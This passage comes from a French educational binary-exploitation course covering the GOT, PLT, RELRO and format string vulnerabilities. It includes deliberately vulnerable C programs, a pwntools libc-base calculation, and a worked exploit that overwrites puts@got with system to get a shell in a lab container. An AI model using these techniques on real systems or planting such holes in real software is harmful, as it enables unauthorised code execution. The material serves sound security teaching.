d’agir comme un intermédiaire entre l’appel d’une fonction externe et son exécution réelle, en assurant le branchement vers son adresse effective lors de l’exécution.Dans IDA cela ressemble à :2️⃣ : ce petit bout de code est exécuté. 3️⃣ : il ne fait que sauter dans le contenu du pointeur de mallocsitué dans la GOT :Vous remarquerez la principale différence entre la PLT et la GOT : la PLT est une zone mémoire de code en lecture seule ; la GOT est une zone mémoire en lecture et écriture modifiable (mais pas toujours 🙃).4️⃣ : comme nous sommes dans l’hypothèse que la résolution de la fonction mallocest déjà réalisée, le contenu de malloc@got (à l’adresse 0x404008) est l’adresse réelle de mallocdans la libc :5️⃣ : de ce fait, l’instruction jmp 0x404008, située dans la PLT, saute directement dans la fonction mallocdans la libc.🔴 Appel d’une fonction dont le symbole n’est pas résolu1️⃣, 2️⃣ et 3️⃣ : ces trois premières étapes sont identiques dans les deux cas.4️⃣ : cette fois-ci le contenu du pointeur de mallocdans la GOT n’est pas l’adresse de la libc mais l’adresse suivante :5️⃣ : le bout de code à cette adresse, situé dans la PLT, est le suivant :En fin de compte, lorsque le symbole d’une fonction n’a pas encore été résolu, le programme retourne dans la PLT. Et c’est là que tout le travail de résolution du symbole doit être fait.6️⃣ : le programme saute à l’adresse 0x401020 puis saute dans la fonction _dl_runtime_resolve_xsave situé dans ld ! C’est quoi les différents push ?J’ai volontairement choisi d’omettre quelques détails car nous n’allons pas voir, dans ce cours comment fonctionnent précisément la PLT et la résolution de symboles. A notre stade, faisons comme si cela était aussi simple que ces étapes : ld trouve l’adresse de malloc, le programme l’écrit ensuite dans le pointeur malloc@gotet saute dans le corps de la fonction (dans la libc) 7️⃣.Exploiter les relocalisations (la GOT quoi)Dans gdb, nous pouvons voir dans quelle zone mémoire est située la GOT :Comme vous pouvez le constater, cette zone mémoire est en lecture et écriture 😏. En ayant une primitive d’écriture arbitraire, il serait possible de modifier une entrée de la GOT afin de rediriger l’exécution du pointeur de fonction corrompu vers un bout de code (exemple : pour faire du ROP) ou une fonction intéressante (exemple : system, execve …).La protection RELROCette protection a trois niveaux d’implémentation : Niveau d’implémentation Options de compilation Protections mémoire de la GOT Résolution des entrées de la GOT Commentaire Exploitable ? Inexistante -Wl,-z,norelro 📝 accessible en lecture et écriture Lazy binding : au moment où la fonction est appelée Aucune protection n’est ajoutée ✅ Partielle (partial RELRO) -Wl,-z,relro 📝 accessible en lecture et écriture Lazy binding : au moment où la fonction est appelée Seules les premières entrées sont en lecture seule. La GOT est également placée avant .bss(et .data?) pour éviter qu’un dépassement de bufferne la corrompe. ✅ Totale (full RELRO) -Wl,-z,relro,-z,now 📄 accessible en lecture seule Eager binding : toutes les adresses de fonctions externes sont résolues au lancement du programme Toute la GOT est placée dans une zone mémoire en lecture seule. ❌ Ci-dessous, un exemple où le programme est compilé avec la protection Full RELRO. Nous observons que la GOT est située dans une zone mémoire en lecture seule et que toutes les adresses des fonctions externes ont été résolues :Dans les deux premiers cas il est toujours possible d’exploiter la GOT en modifiant une des entrées avec une primitive d’écriture arbitraire. Dans le cas où la protection est Full RELRO il n’est plus possible de le faire.En effet, toutes les adresses des fonctions externes seront résolues au lancement du programme et, de toute manière, toute la GOT se trouve dans une zone mémoire en lecture seule.ExempleVoyons comment exploiter un programme depuis la GOT via une primitive d’écriture arbitraire avec le programme suivant :#include &lt;stdio.h&gt;#include &lt;stdlib.h&gt;// gcc -no-pie -fno-pie main.c -o exeint main(int argc, char **argv) { if (argc != 2) { printf(\"Pas assez d'arguments !\\n\"); exit(-1); } unsigned long *got_addr = (unsigned long *)strtoul(argv[1],NULL,16); puts(\"Voici les 8 premieres entrees de la GOT :\"); for(int i=0; i&lt;8; i++) printf(\"\\t%p -&gt; %p\\n\",&amp;got_addr[i],got_addr[i]); puts(\"Quelle adresse souhaitez-vous modifier ?\"); unsigned long *addr; scanf(\"%lx\",&amp;addr); getchar(); puts(\"Avec quelle valeur ?\"); unsigned long val; scanf(\"%lx\",&amp;val); getchar(); *addr = val; puts(\"/bin/sh\"); printf(\"Alors, tu l'as eu ton shell ? ;-)\\n\"); return 0;}Accès au conteneur Docker : ⬇️ Téléchargement : pwn-relro-exemple-2.zip 🔎 SHA256 &amp; Analyse Virus Total : 20e33e550613b65c40d39ee56e662bd02c81e2937357ba672a847488be5073a6 ⚙️ Construction et lancement du conteneur :docker build -t pwn-relro-exemple-2 .docker run -it --rm -p 1234:1234 --cap-add=SYS_PTRACE --security-opt seccomp=unconfined pwn-relro-exemple-2Le programme prend en paramètre l’adresse de la GOT, affiche les 8 premières entrées et permet de modifier le contenu d’une adresse. 🎯 Objectif : réussir à ouvrir un shell; 🛡️ Protection: l’ASLR est à activer.Étapes intermédiairesNous allons faire face à plusieurs problématiques, voyons comment les résoudre une à une.Trouver et afficher la GOTTout d’abord il va falloir que l’on trouve l’adresse de la GOT. Pour cela, il suffit de trouver où la section .got.pltva être chargée. A priori, elle sera chargée à une adresse connue d’avance car le programme n’est pas PIE.Vous pouvez utiliser IDA en ouvrant l’onglet Segments : Comment tu as su que c’était la section .got.plt qu’il faut utiliser et pas .plt ou .got par exemple ?Alors, comment dire 😅. En fait, il y a plusieurs sections utilisées dans le cadre des relocalisations. Honnêtement je ne connais pas exactement les différences et les toutes leurs subtilités. Donc je préfère m’abstenir que de dire n’importe quoi … Celle qui nous intéresse principalement en pwn est .got.plt car c’est elle qui contient les pointeurs vers les fonctions externes.Quoi qu’il en soit, dans la section “Aller plus loin” ci-dessous, vous trouverez un lien qui détaille ces différentes sections pour les plus curieux 😉.Revenons à nos moutons 🐑. Nous pouvons également utiliser l’outil readelf qui est plus commode ici sachant que nous pourrons directement l’utiliser en ligne de commandes lors du lancement du programme :$ readelf -a ./exe | grep \".got.plt\" [24] .got.plt PROGBITS 0000000000403fe8 00002fe8$ ./exe $(readelf -a ./exe | grep \".got.plt\" | head -n 1 | awk '{printf \"0x%s\", $4}')Voici les 8 premieres entrees de la GOT :\t0x403fe8 -&gt; 0x403e08\t0x403ff0 -&gt; 0x744665e612e0\t0x403ff8 -&gt; 0x744665e3d220\t0x404000 -&gt; 0x744665c87be0\t0x404008 -&gt; 0x401040\t0x404010 -&gt; 0x744665c60100\t0x404018 -&gt; 0x401060\t0x404020 -&gt; 0x744665c57b20Quelle adresse souhaitez-vous modifier ? Comment connaître la fonction listée à partir d’une de ces adresses ?Un coup de readelf -r ./exe pour afficher les relocalisations et le tour est joué :Trouver une adresse de la libc à partir d’un leakBon, pas besoin de faire tout un speech, on a compris que pour parvenir à ouvrir un shell, nous allons tenter d’exécuter system à la place de puts.Le souci est que nous ne savons pas à quelle adresse est située system. Autant notre programme n’est pas PIE, autant la libc, elle, l’est à coup sûr. Ça tombe bien, nous allons apprendre par la même occasion à trouver une adresse d’une fonction de la libc à partir d’un leak (fuite mémoire).Pour rappel, l’ASLR n’implique pas une aléatoirisation totale des adresses au sein d’un programme. Seules les octets de poids fort y sont soumis. Cela implique un principe essentiel : les fonctions d’un programme sont toutes situées à un offset fixe par rapport à l’adresse de base d’un programme. N’oubliez pas d’activer l’ASLR si ce n’est pas déjà fait 🙃.Nous n’allons pas revenir sur les détails de ce principe. Voyons comment nous pouvons l’utiliser à notre avantage.En exécutant le programme plusieurs fois voici les différentes adresses utilisées pour la fonctions puts:1. 0x404000 -&gt; 0x7bca86487be02. 0x404000 -&gt; 0x71fe1e087be03. 0x404000 -&gt; 0x7d7383887be04. 0x404000 -&gt; 0x7b7cb0087be0 On sent qu’il y a un offset caché dans ces différentes adresses. La question est : comment le déterminer ?Il y a deux cas de figure : nous savons quelle est la libc utilisée. En l’occurrence il s’agit de celle de notre machine que l’on peut trouver grâce à ldd ./exe. Sinon il est possible de trouver la libc en question sur internet et la télécharger ; nous ne savons pas quelle est la libc utilisée par le programme (exemple : un programme/service à exploiter à distance).Dans le premier cas il est possible d’avoir les offsets des différents symboles grâce à pwntools :from pwn import *libc = ELF(\"/lib/x86_64-linux-gnu/libc.so.6\")print(\"puts @ \",hex(libc.symbols[\"puts\"]))# Affiche : puts @ 0x87be0Dans le second cas, il existe une technique permettant de trouver la version de la libc utilisée mais cela nécessite de faire fuiter quelques adresses de fonctions. Ensuite, il suffit de spécifier l’adresse et le nom de la fonction dans un site / base de données comme : libc.rip ; https://libc.blukat.me/ ; et sûrement d’autres encore.En utilisant l’adresse de putset printf par exemple, la base de données réussit à trouver plusieurs potentielles libc. Plus on lui fournit d’adresses, plus le résultat est précis :Une fois la libc téléchargée, nous nous retrouvons dans le cas n°1. Il est alors possible de récupérer les différents offsets grâce à pwntools.Bon, poursuivons. Pour trouver l’adresse de systemnous allons ouvrir 2 terminaux : le premier permet d’exécuter le programme ; le second, de trouver l’adresse de system.Dans le premier, utilisons ./exe $(readelf -a ./exe | grep \".got.plt\" | head -n 1 | awk '{printf \"0x%s\", $4}') afin d’afficher les premières entrées de la GOT :Voici les 8 premieres entrees de la GOT :\t0x403fe8 -&gt; 0x403e08 \t0x403ff0 -&gt; 0x7147be7e82e0 0x403ff8 -&gt; 0x7147be7c4220 0x404000 -&gt; 0x7147be487be0 0x404008 -&gt; 0x401040 0x404010 -&gt; 0x7147be460100 0x404018 -&gt; 0x401060 0x404020 -&gt; 0x7147be457b20 Quelle adresse souhaitez-vous modifier ?Dans le second, trouvons l’adresse de system en deux temps : trouver l’adresse de base de la libc à partir de l’offset de putset de l’adresse qui a fuité ; chemin inverse : trouver l’adresse de system à partir de l’adresse de base de la libc et de l’offset de system.from pwn import *# Chemin a adapterlibc = ELF(\"/lib/x86_64-linux-gnu/libc.so.6\")leak = 0x7147be487be0 # Recupere depuis le premier terminallibc_base_addr = leak - libc.symbols[\"puts\"]print(\"libc_base_addr @ \",hex(libc_base_addr))# Changement de l'adresse de base de la libc :# 0x0000000000000000 -&gt; 0x7147be400000libc.address = libc_base_addrsystem = libc.symbols[\"system\"]print(\"system @ \",hex(system))# Exemple : system @ 0x7147be458750 Astuce pwntools : en spécifiant une adresse de base dans libc.address, libc.symbols[\"xxxx\"] retourne directement l’adresse de la fonction en utilisant l’adresse de base fournie au lieu de simplement retourner l’offset.Enfin, nous pouvons modifier l’entrée de puts dans la GOT par l’adresse de system dans le premier terminal :Quelle adresse souhaitez-vous modifier ?0x404000Avec quelle valeur ?0x7147be458750sh-5.2$ iduid=1001(challenger) gid=1001(challenger) groups=1001(challenger)Lorsque call puts a été exécutée ici :*addr = val;puts(\"/bin/sh\");printf(\"Alors, tu l'as eu ton shell ? ;-)\\n\");Son adresse dans la GOT pointant désormais vers system, cela a exécuté system(\"/bin/sh\"). Comme exercice, vous pouvez bien évidemment vous amuser à faire tout ça dans un seul terminal avec un script Python via pwntools.Aller plus loinSi ce chapitre n’a pas étanché votre soif de curiosité au sujet des relocalisations, sachez que vous pouvez trouver différents articles, en anglais, pour aller plus loin : GOT and PLT for pwning : cet article met davantage l’accent sur la compréhension des sections .got, .got.pltetc. ; sec15-paper-di-frederico.pdf : cet article technique détaille la mise en place de l’attaque ret2dl_resolve ; Article du phrack : idem.ret2dl_resolveCette attaque consiste à invoquer une fonction de la libc (par exemple system) sans disposer au préalable d’une fuite d’adresse.En effet, en tirant parti du mécanisme de résolution dynamique des symboles mis en œuvre par la PLT et ld, il est possible de fabriquer des structures factices (.rel.plt, .dynsym, .dynstr, etc.) afin d’amener le chargeur à résoudre et exécuter une fonction arbitraire.📋 SynthèseAu cours de ce chapitre, nous avons pu nous intéresser aux zones mémoire que sont la PLT et la GOT ainsi que leur différence : Table Signification Type de zone Contenu Modifiable ? Rôle GOT Global Offset Table Données Pointeurs vers les fonctions externes ✅ (si pas de Full RELRO) Stocke les adresses effectives des fonctions de la libc (ou autre lib) PLT Procedure Linkage Table Code Appels intermédiaires (jump, push) ❌ Intermédiaire entre appel de fonction et libc (ou autre lib) Nous avons également abordé les notions suivantes : RELRO (RELocation Read-Only) protège la GOT des modifications ; sans protection appliquée, la GOT est modifiable : une primitive d’écriture arbitraire permet de détourner un appel (ex : remplacer puts par system) ; lorsqu’un programme est compilé dynamiquement, les adresses des fonctions externes sont résolues par le chargeur dynamique (ld) via la PLT et la GOT ; trois niveaux de protection existent : ❌ Aucune : la GOT modifiable ➕ résolution paresseuse ➡️ exploitable ⚠️ Partielle (Partial RELRO) : GOT toujours modifiable ➕ seule une partie protégée ➡️ toujours exploitable ✅ Totale (Full RELRO) : GOT en lecture seule ➕ résolution immédiate ➡️ non exploitable L’attaque ret2dl_resolve exploite le fonctionnement de la résolution dynamique des fonctions en forgeant de fausses structures pour forcer ld à résoudre une fonction arbitraire." }, { "title": "Partie 15 - Comprendre les vulnérabilités de type format string – introduction (1/5)", "url": "/posts/introduction_au_pwn_partie_15/", "categories": "Pwn, Introduction au pwn", "tags": "x86, pwn, linux", "date": "2026-04-24 08:00:00 -0200", "snippet": "Comprendre les vulnérabilités de type format string – introduction (1/5)Les format strings (ou chaînes de format 🇫🇷) ne sont pas des vulnérabilités en tant que telles. C’est ce que le programme en ...", "content": "Comprendre les vulnérabilités de type format string – introduction (1/5)Les format strings (ou chaînes de format 🇫🇷) ne sont pas des vulnérabilités en tant que telles. C’est ce que le programme en fait qui peut être une opportunité de l’exploiter.Il s’agit d’un type de vulnérabilité assez ancien qui est beaucoup moins présent de nos jours en raison des protections ajoutées. Cela n’en fait pas moins un classique en termes de pwn et qui sait, peut-être que vous vous retrouverez un jour nez à nez avec un programme codé par des développeurs peu attentifs 😏. Par exemple, ces dernières années, les vulnérabilités CVE-2024-45324 et CVE-2025-52429 sont basées sur l’exploitation de chaînes de format.De plus, même si ce type de vulnérabilité devient de plus en plus rare, il reste pertinent de le connaître, notamment dans les cas où vous contrôlez eip ainsi que le premier argument sur la pile. En redirigeant l’exécution vers printf (par exemple via la GOT), vous pouvez alors exploiter une vulnérabilité de type format string en contrôlant directement la chaîne de format. Ah on ne parle pas de la heap avant les format strings ?Pour ne pas qu’il y ait d’incohérence dans l’enchaînement des chapitres, tous les chapitres liés au tas sont regroupés ensemble, dans un autre cours. Patience 😉. A partir de ce chapitre jusqu’à la fin de ce cours, nous allons partir du principe que l’ASLR est toujours activée sauf mention contraire. N’oubliez pas de l’activer si ce n’est pas déjà le cas 😉 : echo 2 &gt; /proc/sys/kernel/randomize_va_space.Les chaînes de format, c’est quoi déjà?Si vous êtes un minimum à l’aise avec le langage C, vous devriez déjà avoir utilisé moult fois des chaînes de format. Nous n’allons donc pas revoir en détails les bases du fonctionnement d’une chaîne formatée. Mais revoyons tout de même quelques rudiments.Une chaîne formatée en C est une chaîne de caractères utilisée dans des fonctions comme printf ou scanf, qui contient du texte et des instructions spéciales appelées spécificateurs de format (comme %d, %s, %f, etc.) pour afficher ou lire des données de différents types. Vous savez, ces caractères bizarres qui nous ont traumatisés lorsque l’on a appris le langage C 😨. Et bien aujourd’hui, nous allons nous réconcilier et faire ami-ami avec eux !Voici quelques exemples de chaînes de format :int age = 0x213;char nom[] = \"LesZommes\";printf(\"Bonjour %s, vous avez %d ans.\\n\", nom, age);Grâce aux spécificateurs de format, printf sait sous quelle forme traiter les données. Par exemple, l’âge qui est un entier valant 0x00000213 en mémoire va être converti en ASCII afin de pouvoir être affiché.Ainsi, selon le spécificateur de format utilisé, les arguments passés en paramètre seront interprétés différemment. Bon, ça j’imagine que vous le savez déjà 🤓.Par ailleurs, les fonctions du type printf, snprintf etc. sont nommées “fonctions variadiques”, c’est-à-dire qu’elles acceptent un nombre variable de paramètres.RappelsAfin que vous ne perdiez pas de temps à vous rappeler à quoi sert chaque spécificateur de format, vous trouverez dans le tableau ci-dessous les plus connus et les plus utilisés. Evidemment, nous allons en découvrir d’autres qui nous seront bien utiles en termes d’exploitation. Spécificateur Par quoi sera remplacé le spécificateur dans la chaîne de caractères formée ? Exemple Résultat %s Le contenu de la chaîne de caractères du paramètre. Pointeur vers la chaîne \"azerty\" azerty %x / %X La valeur hexadécimale du paramètre. 0xaabbccdd aabbccdd %d / %i La valeur décimale entière signée du paramètre. 0xaabbccdd -1430532899 %u La valeur décimale entière non signée du paramètre 0xaabbccdd 2864434397 %p La valeur hexadécimale du paramètre préfixée par 0x (ou (nil) si le paramètre est nul) 0xaabbccdd 0xaabbccdd %c Le paramètre sous forme de caractère. 0x41 A Vulnérabilité classique dans les chaînes de formatLa vulnérabilité apparaît lorsque l’utilisateur contrôle la chaîne de format appelée par une fonction qui prend comme argument une chaîne de format.Je sais que dit comme ça c’est du charabia donc voici quelques exemples pour comprendre de quoi il s’agit : printf(entree_utilisateur) au lieu de printf(\"%s\", entree_utilisateur) ; sprintf(dest,entree_utilisateur) au lieu de sprintf(dest, \"%s\", entree_utilisateur).Avant de passer à l’exploitation de ce type de vulnérabilité, commençons par quelques cas simples pour s’échauffer et voir ce que l’on peut faire d’intéressant en manipulant un appel à printf(entree_utilisateur).Afficher des valeurs avec %pIl est temps de mettre la main à la pâte et voir comment fonctionne en interne une format string. Prenons l’exemple bateau suivant :#include \"stdio.h\"int main(int argc, char **argv){ if (argc != 2) { printf(\"[-] Pas assez ou trop d'arguments.\\n\"); return -1; } printf(\"Bonjour \"); printf(argv[1]); printf(\" !\\n\"); return 0;} Le programme a été compilé en 32 bits afin de comprendre plus facilement le fonctionnement de printf.Accès au conteneur Docker : ⬇️ Téléchargement : pwn-fmt-exemple-1.zip 🔎 SHA256 &amp; Analyse Virus Total : 7d3010a42444da57800e622fb6e0c8df532b4640fc054dd30182170101fb8f27 ⚙️ Construction et lancement du conteneur :docker build -t pwn-fmt-exemple-1 .docker run -it --rm -p 1234:1234 --cap-add=SYS_PTRACE --security-opt seccomp=unconfined pwn-fmt-exemple-1Je pense que nous pouvons nous passer d’explications détaillées : le programme parle de lui-même 🙃. Le programme fait bien ce qu’il semble devoir faire :$ ./exe Tikourbabine Bonjour Tikourbabine !En compilant le programme, vous avez dû voir un avertissement de ce type s’afficher :$ gcc -g -m32 main.c -o exe main.c: In function ‘main’:main.c:13:5: warning: format not a string literal and no format arguments [-Wformat-security] 13 | printf(argv[1]); | ^~~~~~gcc colère colère colère 😡. Et il a raison ! En effet, comme nous le dit si bien son manuel, le premier argument de printf est une chaîne de format. Une chaîne de format est bien plus puissante, et dangereuse, qu’une simple chaîne de caractères.Amusons-nous encore un peu avec le programme fraîchement compilé :$ ./exe p Bonjour p !$ ./exe \"%p\"Bonjour (nil) !$ ./exe \"%p %p %p\"Bonjour (nil) (nil) 0x583831b5 ! Mais il n’y a qu’un seul argument donné à printf(argv[1]);, où est-ce que %p est allé chercher ces valeurs ?C’est justement en découvrant la réponse à cette question que cela va devenir croustillant 😏. Pour cela, ouvrons le programme dans notre bon vieux gdb et mettons un point d’arrêt lors de l’appel à printf avec argv[1] : Le programme a été lancé avec run \"%p %p %p\".Pour l’instant, rien de spécial. Jetons un œil au contenu de la pile juste avant l’appel à printf : Astuce gdb : la commande telescope permet d’afficher une zone mémoire sous forme de pointeurs en les déréférençant en chaîne. Elle est par défaut utilisable avec le pointeur de pile mais peut être également utilisée dans d’autres zones mémoire. Ce sont les valeurs affichées tout-à-l’heure dans Bonjour (nil) (nil) 0x583831b5 ! ?C’est ça ! printf ne connaît pas à l’avance le nombre d’arguments que va consommer la chaîne de format 🤷‍♂️. De ce fait, en fonction des spécificateurs de format et de leur nombre, nous allons pouvoir afficher de plus en plus de valeurs dans la pile de cette manière.Utiliser %p en pwn 🎯 Utilité : afficher des valeurs lues sur la pile en hexadécimalIl s’agit de l’un des spécificateurs les plus utilisés en pwn. Il permet de récupérer facilement des leaks d’adresses mémoire.Par exemple, il peut être utilisé pour récupérer des fuites d’adresses de la libc, du tas, de la pile ou bien de la section de code du programme en cours d’exécution.De manière plus générale, il permet d’afficher une valeur en hexadécimal, que ce soit un pointeur ou non. Il peut, par exemple, être utilisé pour faire fuiter la valeur du canari.Afficher le contenu d’un pointeur avec %sTout d’abord, enlevons-nous de la tête le raccourci suivant : %s ne permet que d’afficher le contenu d’une chaîne de caractère. Cela est réducteur car %s permet plus généralement d’afficher le contenu de n’importe quel pointeur.Il y a néanmoins deux points à noter : le pointeur doit être valide : pointer vers une zone mémoire accessible en lecture ; le contenu sera affiché jusqu’au premier octet nul rencontré.Et si on testait notre programme avec \"%s\" ?$ ./exe \"%s\" Bonjour (null) !On s’attendait à ce que le programme plante mais non, il nous a bien feinté ! En réalité donner un pointeur nul à %s est, selon le standard du langage, un comportement indéfini mais généralement ce sera \"(null)\" qui sera affiché à la place.Essayons d’afficher le contenu du troisième paramètre :$ ./exe \"%p %p %s\" | xxd 00000000: 426f 6e6a 6f75 7220 286e 696c 2920 286e Bonjour (nil) (n00000010: 696c 2920 [81c3 1f2e] 2021 0a il) .... !.Nous avons mis entre crochet le contenu qui a remplacé le spécificateur %s. C’est bien ce que l’on trouve dans gdb :Seuls les 4 premiers octets ont été affichés. Logique, me direz-vous ! %s affiche le contenu d’une chaîne de caractères et s’arrête donc au premier octet nul rencontré. C’est l’une des contraintes de ce spécificateur, mais on fait avec !Pour résumer, %p a permis d’afficher la valeur du pointeur 0x565561b5 tandis que %s en a affiché le contenu. Ces deux spécificateurs sont donc complémentaires.Utiliser %s en pwn 🎯 Utilité : afficher le contenu d’adresses en mémoireVous vous en doutez, %s est un spécificateur très utile en pwn car il permet d’afficher le contenu d’un pointeur. Attention tout de même à faire en sorte de lui fournir un pointeur valide, sinon le programme plante.Ecrire des valeurs grâce à %nJe pense que vous connaissiez déjà les deux précédents spécificateurs %p et notamment %s. Grâce à ces deux-là nous avons : un moyen d’afficher des valeurs en hexadécimal avec %p ; un moyen d’afficher le contenu d’un pointeur (jusqu’à tomber sur un octet nul) avec %s.C’est très utile en pwn mais ça demeure de la lecture en mémoire. Lorsque l’on exploite un programme, nous avons également souvent besoin d’écrire des valeurs en mémoire.Et là vous vous dites :Oui oui il existe bien un spécificateur qui nous permettra de pouvoir écrire des valeurs arbitraires en mémoire, j’ai nommé : ✨%n✨.L’utilité de %n selon man 2 printf est la suivante : The number of characters written so far is stored into the integer pointed to by the corresponding argument..J’sais pas vous, mais personnellement le terme so far m’a longtemps troublé pour comprendre ce qui se passe lorsque l’on utilise %n.En français, cela signifie que %n écrit dans l’argument idoine le nombre d’octets qui ont déjà été écrits, au moment où le programme arrive sur %n, après avoir substitué les spécificateurs par les valeurs adéquates. C’est toujours une définition bancale, je l’avoue.Voyons donc concrètement comment cela fonctionne avec la ligne suivante :int val;printf(\"Azertyu%n0123456789\", &amp;val);%n va écrire le nombre d’octets qu’il y a avant lui dans val. Comme \"Azertyu\" est constituée de 7 octets, la valeur 7 sera écrite dans la variable val. La fin de la chaîne formatée (0123456789) n’est pas utilisée car ce qui compte ce sont les octets affichés avant %n.Et dans l’exemple suivant, que contiendra %n ?#include \"stdio.h\"int main(int argc, char **argv){ if (argc != 2) { printf(\"[-] Pas assez ou trop d'arguments.\\n\"); return -1; } \tint val = 0;\t\tprintf(\"salut %s !%n\",argv[1], &amp;val);\tprintf(\"\\nval : %d\\n\",val);\t\treturn 0;}Le conteneur Docker : ⬇️ Téléchargement : pwn-fmt-exemple-2.zip 🔎 SHA256 &amp; Analyse Virus Total : 5a79ce2c1631e8174890346571a2600d65403fb313ca33200bc36bd56b317c8e ⚙️ Construction et lancement du conteneur :docker build -t pwn-fmt-exemple-2 .docker run -it --rm -p 1234:1234 --cap-add=SYS_PTRACE --security-opt seccomp=unconfined pwn-fmt-exemple-2Ce qui est sûr, c’est que l’on ne peut pas le savoir à l’avance, au moment de la compilation. En effet, comme cela a été dit précédemment, il faut d’abord que tous les spécificateurs aient été substitués avant de pouvoir compter le nombre d’octets affichés avant %n.La valeur écrite dans val diffère en fonction du contenu de argv[1] :$ ./exe azesalut aze !val : 11$ ./exe azertysalut azerty !val : 14$ ./exe aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaasalut aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa !val : 78Concernant l’utilisation de %n pour effectuer une écriture arbitraire, vous commencez sans doute à en voir le potentiel 😏.Allez, on attaque encore un exemple pour vérifier que vous avez bien saisi le principe de %n :#include \"stdio.h\"int main(int argc, char **argv){ if (argc != 2) { printf(\"[-] Pas assez ou trop d'arguments.\\n\"); return -1; } \tint val = 0;\tint val_2 = 0;\t\tprintf(\"salut %s !%n, tu vas bien ?%n\",argv[1], &amp;val,&amp;val_2);\tprintf(\"\\nval : %d\\n\",val);\tprintf(\"val_2 : %d\\n\",val_2);\t\treturn 0;}Selon vous, quelle sera la valeur de val_2 si le programme est lancé avec cette chaîne de caractères : ./exe aze ? (sans exécuter le programme, bien sûr 😉 )Réponse :TGEgcsOpcG9uc2UgZXN0IDI2LiAKUG91ciBjb25uYcOudHJlIGxlIG5vbWJyZSBleGFjdCBkZSBjYXJhY3TDqHJlcyBhZmZpY2jDqXMgbG9yc3F1ZSBsZSBzZWNvbmQgYCVuYCBzZXJhIHRyYWl0w6ksIGlsIHN1ZmZpdCBkZSByZW1wbGFjZXIgdG91cyBsZXMgcHLDqWPDqWRlbnRzIHNww6ljaWZpY2F0ZXVycyAgcGFyIGxhIHZhbGV1ciBxdWkgbGVzIHJlbXBsYWNlIDoKCi0gYCVzYCAtPiAiYXplIiAoMyBjYXJhY3TDqHJlcykKLSBgJW5gIC0+IG4nZXN0IGphbWFpcyByZW1wbGFjw6kgcGFyIHVuZSB2YWxldXIgZW4gcGFydGljdWxpZXIgKCAwIGNhcmFjdMOocmUpLe conteneur Docker pour tester: ⬇️ Téléchargement : pwn-fmt-exemple-3.zip 🔎 SHA256 &amp; Analyse Virus Total : b43b187232c4ed047b0e2b24f33425c69ece02c69004672f0da91617a51bfaf3 ⚙️ Construction et lancement du conteneur :docker build -t pwn-fmt-exemple-3 .docker run -it --rm -p 1234:1234 --cap-add=SYS_PTRACE --security-opt seccomp=unconfined pwn-fmt-exemple-3Utiliser %n en pwn 🎯 Utilité : écrire une valeur en mémoire%n est le spécificateur par excellence pour écrire des données en mémoire en pwn. Il est possible de contrôler les données écrites en contrôlant le nombre de caractères qui seront déjà écrits dans la chaîne formatée, après substitution des spécificateurs.Cela nous permet, certes, de contrôler ce que l’on écrit mais malheureusement, lorsque l’on doit écrire une très grande valeur, cela peut être problématique.Par exemple, imaginons que l’on ait besoin de modifier une valeur en mémoire avec la valeur 0xdeadbeef (pour quelconque raison). Cela signifie qu’il va falloir au préalable faire en sorte de remplir la chaîne formatée de 3 735 928 559 octets (~3.7 Go !). Le programme risquera sûrement de planter lors d’une telle tentative 🤕.Mais ne vous inquiétez pas, nous verrons une manière de contourner cette contrainte dans un chapitre ultérieur 😎.📋 SynthèseCe chapitre introduit une nouvelle vulnérabilité qui est l’utilisation détournée de chaînes de format. Bien que cette vulnérabilité soit moins présente de nos jours, elle peut toujours être exploitée dans certaines configurations.Nous avons vu les 3 principaux spécificateurs utilisés en pwn pour exploiter les chaînes de format : Spécificateur Utilité en pwn %p Afficher des valeurs (notamment des adresses) en hexadécimal lues sur la pile. Cela permet très souvent d’avoir des leaks. %s Afficher le contenu d’un pointeur en mémoire (s’arrête au premier octet nul rencontré). %n Ecrire des données en mémoire. Lors du prochain chapitre, nous nous intéresserons à quelques fonctionnalités des chaînes de format, très utilisées en pwn à travers une série d’exercices." }, { "title": "Partie 16 - Exploiter les format strings - primitives de lecture et écriture mémoire (2/5)", "url": "/posts/introduction_au_pwn_partie_16/", "categories": "Pwn, Introduction au pwn", "tags": "x86, pwn, linux", "date": "2026-04-23 08:00:00 -0200", "snippet": "Exploiter les format strings : primitives de lecture et écriture mémoire (2/5)Dans cette partie, nous allons explorer à travers quelques exercices les différentes fonctionnalités, dont certaines tr...", "content": "Exploiter les format strings : primitives de lecture et écriture mémoire (2/5)Dans cette partie, nous allons explorer à travers quelques exercices les différentes fonctionnalités, dont certaines très peu connues, des chaînes de format. Parmi elles : l’utilisation de largeur de champ ( ex : %1234p) ; l’utilisation de paramètres positionnels ( ex : %5$p).Les exercices auront une complexité croissante au fur et à mesure que l’on avance.Exercice n°1 : Modifier une valeur en mémoireCommençons avec l’exercice suivant :#include &lt;stdio.h&gt;#include &lt;stdlib.h&gt;#include &lt;time.h&gt;#include &lt;stdint.h&gt;// Compilation : gcc -m32 exercice_1.c -o exercice_1int main() { char buffer[0x20000]= {0}; int *val = (int *)malloc(sizeof(int)); *val = 0xdeadbeef; fgets(buffer,sizeof(buffer), stdin); puts(\"Entree utilisateur : \"); printf(buffer);\tif(*val == 0x1337) { puts(\"Bravo ! Tu fais partie de l'elite !\"); } else { puts(\"Ciao bye !\"); } return 0;}Accès au conteneur Docker : ⬇️ Téléchargement : pwn-fmt-exo-1.zip 🔎 SHA256 &amp; Analyse Virus Total : b83e8bdcfa9e938b43e56243d16ecac1bc659d8ac9e07c3b2c633d746f27ba68 ⚙️ Construction et lancement du conteneur :docker build -t pwn-fmt-exo-1 .docker run -it --rm -p 1234:1234 --cap-add=SYS_PTRACE --security-opt seccomp=unconfined pwn-fmt-exo-1Pas besoin de s’éterniser sur le fonctionnement du programme, on devine aisément l’objectif : modifier la valeur pointée par val pour qu’elle vaille 0x1337.Il s’agit d’écrire une valeur en mémoire et pour cela on sait qu’il va falloir utiliser le spécificateur %n. Mais ensuite ? Comment concrètement modifier la valeur ? Bah c’est facile il suffit de … ah bah non en fait je sais pas 😅.Allons-y naïvement étape par étape.Afficher les valeurs présentes sur la pileTout d’abord nous avons besoin de savoir où se trouve val en mémoire. Pour cela, utilisons %p. Etant donné que le programme affiche notre saisie, telle quelle, une seule fois, il suffit de les faire suivre dans une seule ligne :$ ./exercice_1%p-%p-%p-%p-%p-%p-%p-%p-%p-Entree utilisateur : 